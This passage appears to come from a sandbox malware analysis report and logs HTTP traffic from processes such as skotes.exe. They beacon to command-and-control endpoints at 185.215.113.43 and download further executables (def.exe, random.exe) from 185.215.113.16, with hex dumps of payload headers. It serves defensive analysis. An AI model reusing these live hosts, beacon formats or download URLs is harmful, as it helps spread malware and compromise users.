Dec 19, 2024 08:10:07.194721937 CET	932	OUT	Data Raw: f4 68 03 1c b7 32 2a 35 5f b4 56 ff 32 7a ce b0 e8 97 89 87 3f 49 05 bc d4 3e 47 7e 65 23 7a cf 45 06 f9 2d 95 0e 57 90 aa cb d7 4f 5f 3d b8 5c 15 60 04 ca 9b a8 c7 1f 5a 6d e0 10 4a d7 87 80 52 ba 9f dc 54 c0 29 98 1d 72 0c 6a 13 ad a4 d9 f7 53 Data Ascii: h2*5_V2z?I>G~e#zE-WO_=\`ZmJRT)rjS;Le1h5+s^?(CnK$F5},O1v3aT<9Z%Hpq>AJxIE5IT5B
Dec 19, 2024 08:10:08.752580881 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 07:10:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 15 X-RateLimit-Reset: 1734593215 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49998	194.87.47.113	80	5984	C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:10.064064980 CET	199	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 5a 32 4a 5a 78 37 32 67 33 38 46 62 78 30 41 38 31 37 33 34 35 39 32 31 36 37 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "Z2JZx72g38Fbx0A81734592167", "data": "Done2" }
Dec 19, 2024 08:10:11.547286987 CET	160	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 19 Dec 2024 07:10:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 4 Connection: close Data Raw: 6f 6b 61 79 Data Ascii: okay

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50004	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:11.972448111 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 34 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017428001&unit=246122658369
Dec 19, 2024 08:10:13.246864080 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50020	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:15.722434044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:10:17.950155973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50050	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:20.121177912 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:10:21.457751989 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50062	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:23.293629885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:10:24.616555929 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50070	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:26.567533970 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:10:27.914161921 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	50076	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:29.305208921 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:10:30.065026999 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:29 GMT Content-Type: application/octet-stream Content-Length: 1733632 Last-Modified: Thu, 19 Dec 2024 06:18:47 GMT Connection: keep-alive ETag: "6763bac7-1a7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 45 00 00 04 00 00 48 8f 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$E `@ @EH`Ui`D @ @.rsrcD`2@.idata 6@ 8@pwjairst :@lcewkiss DL@.taggant@E"R@
Dec 19, 2024 08:10:30.065102100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:30.065160990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:30.065215111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:30.065252066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:30.065285921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:30.065336943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:10:30.065372944 CET	1236	IN	Data Raw: a0 7c d7 99 a7 17 d8 d2 3e 28 d6 5a 2e fe b3 08 a3 d3 cd f8 dd 31 ba 38 f3 6e 9c db 74 d1 2c ed c6 e0 82 7c 79 ef 6d b8 96 a7 93 02 4a 35 48 d8 0d 6d f8 08 d2 62 db 44 3c 2f d5 46 0c 65 1f ee 09 7a e8 98 a7 63 e4 a0 e3 5e f7 42 32 58 d5 69 01 7f Data Ascii: \|>(Z.18nt,\|ymJ5HmbD</Fezc^B2XiR9wr`E&{;\|KX-^0c(e\P&rqF%*;[<1bo2F4sr$s}:)zlX=^odZBL>d82tz
Dec 19, 2024 08:10:30.065404892 CET	1236	IN	Data Raw: 93 7b fe a2 6b 7b f2 fe a2 88 76 02 25 40 fc 8b fd 48 e8 06 b0 31 9a fb ed e3 92 92 0b 20 e2 99 fd 48 a2 f8 9f 00 a6 9f 9a 71 64 1a 0b 7b be 98 fd 1c fe ca af 24 ce 0c da d7 c8 c6 03 40 5a e3 ad 3f 82 66 24 fc eb 10 0b e0 0a 9a bd 4f 62 6a b5 b8 Data Ascii: {k{v%@H1 Hqd{$@Z?f$ObjzArXfXR}{\#8ri5*-I"H&D:c:MCG$2hJTBQXiX\|Hb-Ihrl{C)t'Tg\7 +$H1Ydp 0281T
Dec 19, 2024 08:10:30.065440893 CET	1236	IN	Data Raw: ca 5a e7 93 b1 38 fe ef ce 03 2e 98 36 84 ed 8d 38 71 00 cb fb 6b 92 33 27 16 ad bb d8 98 c3 3c e1 43 ac c9 39 f7 a0 dd 8c 15 43 ef 1d 52 a3 23 cd 60 c2 a8 2b 01 6f be 0d 70 5c be dc 11 ce 67 b5 6b ca 0b 10 15 b2 91 3a aa 82 99 c3 cb 07 6f 7e 86 Data Ascii: Z8.68qk3'<C9CR#`+op\gk:o~x3\Jn,Ev=%3kUBBJg=jEoj0jEh~z.OB{X^396++r~?; {LwP+
Dec 19, 2024 08:10:30.187537909 CET	1236	IN	Data Raw: 43 23 37 36 15 54 dd e6 19 d8 d3 dd 60 74 a0 f9 29 6b ec 59 29 54 be ea 2c 4a 4a b2 2a 63 39 09 2a 64 b4 94 fc 4f 90 2f ae 97 49 c3 c8 a1 fb 8b 02 be c6 9d ca 02 f6 da fd 72 f0 ad e3 0f ca 94 33 1d b8 9f d9 11 bf 4b 7d 5b d9 29 6d 05 cd 5f dd 98 Data Ascii: C#76T`t)kY)T,JJc9dO/Ir3K}[)m_#3yq/B>.P"^w@(5"2dE3'F%z@<7hKC$'%HQD;~{!})!(7?b%\]E:j
Dec 19, 2024 08:10:33.242132902 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:10:33.686506987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:32 GMT Content-Type: application/octet-stream Content-Length: 2869248 Last-Modified: Thu, 19 Dec 2024 06:20:24 GMT Connection: keep-alive ETag: "6763bb28-2bc800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 6a 26 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@0Oj&,@M$a$$ $h@.rsrc$x@.idata $z@oiorywlp0$&\|@yzgbcaqsN+@.taggant0O"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50077	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:29.849320889 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:10:31.108903885 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50083	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:33.056235075 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:10:35.529328108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50094	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:37.938839912 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:10:39.268810034 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50100	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:41.059633970 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:10:42.351120949 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50111	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:44.184145927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:10:45.533724070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50118	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:47.261624098 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:10:48.598454952 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50140	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:50.383203983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:10:51.729324102 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50152	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:53.380719900 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:10:54.958240032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50155	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:10:56.712114096 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:10:58.052469015 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:10:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50158	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
